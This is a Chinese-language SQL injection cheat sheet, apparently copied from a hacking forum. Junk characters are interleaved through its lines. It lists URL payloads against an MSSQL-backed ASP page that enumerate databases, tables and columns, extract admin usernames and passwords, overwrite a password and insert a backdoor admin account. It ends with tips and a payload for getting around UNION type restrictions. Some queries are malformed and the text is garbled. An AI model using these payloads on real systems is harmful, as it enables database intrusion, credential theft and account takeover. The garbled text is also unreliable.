爆库:
1 b" A: G6 [1 q2 ~7 O- s- w. ?8 ]http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--0 Q* y$ c" Y6 B3 `3 E, p) B4 i
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.+ K4 |7 I4 ]7 Z2 h; [# b+ m' s
爆下一个库:
0 M7 r# `- \$ w* j9 f7 Mhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
2 O/ m& F3 w1 U6 @- M( }+ W9 _8 l
/ A j; `9 g6 o爆表:
8 W- V1 T0 v; \2 s9 M$ _http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
* O' _4 m$ G7 c0 s- Q* C3 w
3 z: v1 U" `4 M% u1 m0 Q* _SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
$ p% O9 K5 A# }3 f
( \# ^7 w% g) k0 O2 A9 |7 h+ x- m- e爆下一个表% N/ Q/ {1 e# i" j+ X1 s% ?( w
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
: [; e: P6 \6 G- ^6 g) m, C( @4 W% [4 `8 L `% d! a9 w
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--2 X& ^! I! T$ i" U' r7 V! S
% y* u- @0 I% i- I' n% Z9 i& O1 r
|) {2 y8 O* v1 w% P$ E
爆字段:( D9 x! k3 N: r4 V
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--( v. u* e1 S& h2 Z5 O% d8 T, C, D
, m! H5 N5 i. P. D* Z8 {! G- J2 [7 H; y
爆下一个字段& ~% m6 G) p* {( ?, }7 M
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
2 E2 `2 u" k$ K* V- A* E2 [" M$ h7 X5 y
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
3 e! j8 j9 G8 m6 e& R
% j8 K: q" s8 t7 j h' ]: z) Y( c/ O
- R& G/ y% H5 G爆字段里的内容* S8 W$ v& C3 ?9 z" G" d D5 T
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
4 w% C6 U/ }# o/ m# y& n9 t* Z; o+ L% o9 J
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--" w t' @ w. [4 U+ @
/ H/ d" E/ X/ t. ]& @) q) J1 {
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
+ D4 o8 n0 u" b) r2 a$ b. t8 R: P* Z0 A/ _) I& _; w
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
. Q u8 p. R! x! x8 o5 z: ^( m; l) ^# a
更新字段里的内容, T; o# p9 z4 ]! i
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
" \$ g2 Z3 A# a% G9 i/ _8 }
! ~2 I0 _; V3 t0 Z! A) S+ lhttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--% j* D1 y# }- I& H
6 V0 ~' a% V9 I) F( U* [# ~9 o U! h# Y* x6 ?
7 ^ P' D6 R3 ?7 _' ]. B 在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
' U+ i& X8 m& A6 u s- s4 W) t' y 第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。) P, @/ x1 K7 \9 ~
第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
5 B( k& D% n6 u4 j/ B$ ? 最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
! Y8 K& D, E9 m/ L) o2 E# l2 t
9 L% [' Q& X K* ^突了了大部份限制的语句
% I" c5 h1 c kand 1=2 union all select char(49),char(50),null,null;--
1 x' V6 g( r9 D8 |2 p
9 m( m5 h5 S) V& C+ _; |# Z
2 S. d* G1 _2 c- b% ?" U* |$ nnull也可以正常执行,不过没有回显,不好判断回显的列数。
! s- o7 I* u: l一般union遇到问题都是有text或者ntext字段,image的很少遇到: j; B6 A7 Y" Q5 U l& c f6 V
, U) W) b8 t5 K; k可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
' @" X+ h& h& @9 x j5 `4 L+ V8 G) o: Q" ?8 S$ I' o; {8 z
# A; z' g0 x( C+ K! v
|